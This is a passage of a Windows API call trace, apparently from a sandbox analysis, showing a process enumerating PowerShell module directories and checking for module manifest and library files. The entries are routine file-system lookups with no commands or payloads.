nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.016] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0131.016] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.017] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0131.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee094) returned 1 [0131.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee358 | out: lpFileInformation=0x59ee358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0131.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee090) returned 1 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0131.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0b8) returned 1 [0131.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23f16d8 | out: lpFileInformation=0x23f16d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0131.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b4) returned 1 [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0131.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0131.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0131.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0131.019] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.019] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.019] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0131.019] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.019] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0131.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0131.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee094) returned 1 [0131.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee358 | out: lpFileInformation=0x59ee358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0131.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee090) returned 1 [0131.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0131.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0131.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0131.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0131.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0b8) returned 1 [0131.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23f2d9c | out: lpFileInformation=0x23f2d9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0131.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b4) returned 1 [0131.020] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0131.020] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0131.024] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0131.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0131.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0131.025] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0131.026] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.026] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.027] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0131.027] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0131.027] GetFileAttributesW 